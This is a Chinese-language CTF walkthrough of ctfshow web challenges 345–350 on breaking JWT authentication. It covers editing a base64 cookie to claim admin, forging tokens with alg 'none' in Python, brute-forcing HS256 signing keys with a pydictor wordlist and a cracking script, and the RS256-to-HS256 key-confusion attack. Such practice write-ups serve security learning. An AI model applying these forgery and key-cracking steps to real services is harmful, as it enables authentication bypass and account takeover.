JWT

web345

CTFSHOW-JWT - 图1

访问发现提示

访问后并没有什么东西

发现cookie里的auth字段 是base64编码后的内容

解码后发现user 改为 admin

CTFSHOW-JWT - 图2

继续base64编码后 放入cookie中auth字段

访问

CTFSHOW-JWT - 图3

web346

上述操作

发现解码后乱了

CTFSHOW-JWT - 图4

盲猜加密了

到jwt.io网站解密

CTFSHOW-JWT - 图5

改为admin 加盐为123456

继续复制到cookie里的auth字段

方法二

前置知识

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

  1. import jwt
  2. # payload
  3. token_dict = {
  4. "iss": "admin",
  5. "iat": 1609236870,
  6. "exp": 1609244070,
  7. "nbf": 1609236870,
  8. "sub": "admin",
  9. "jti": "943d0b3237806659d2e205e42b319494"
  10. }
  11. headers = {
  12. "alg": "none",
  13. "typ": "JWT"
  14. }
  15. jwt_token = jwt.encode(token_dict, # payload, 有效载体
  16. "", # 进行加密签名的密钥
  17. algorithm="none", # 指明签名算法方式, 默认也是HS256
  18. headers=headers
  19. # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
  20. )
  21. print(jwt_token)

web347

利用pydictor生成字典

  1. python .\pydictor.py -base d --len 1 6 -o keys.txt

CTFSHOW-JWT - 图6

利用脚本

进行密钥破解

  1. # -*- coding: utf-8 -*-
  2. # @Author: h1xa
  3. # @Date: 2021-05-06 16:34:57
  4. # @Last Modified by: h1xa
  5. # @Last Modified time: 2021-05-06 19:34:42
  6. # @email: h1xa@ctfer.com
  7. # @link: https://ctfer.com
  8. import jwt
  9. import json
  10. def runblasting(path,jwt_str,alg):
  11. if alg == "none":
  12. alg = "HS256"
  13. with open(path,encoding='utf-8') as f:
  14. for line in f:
  15. key_ = line.strip()
  16. print(' use '+key_)
  17. try:
  18. jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
  19. print('found key! --> ' + key_)
  20. break
  21. except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
  22. print('found key! --> ' + key_)
  23. break
  24. except(jwt.exceptions.InvalidSignatureError):
  25. continue
  26. else:
  27. print("key not found!")
  28. if __name__ == '__main__':
  29. runblasting('keys.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyMDMwMDc3NywiZXhwIjoxNjIwMzA3OTc3LCJuYmYiOjE2MjAzMDA3NzcsI,'HS256')

CTFSHOW-JWT - 图7

web348

爆破生成字典 1-4位小写字母

python .\pydictor.py -base L --len 1 4 -o keys.txt

CTFSHOW-JWT - 图8

运用jwt脚本

CTFSHOW-JWT - 图9

成功爆破

web349

web350

前置知识

JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。
签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。

由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。

利用

此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。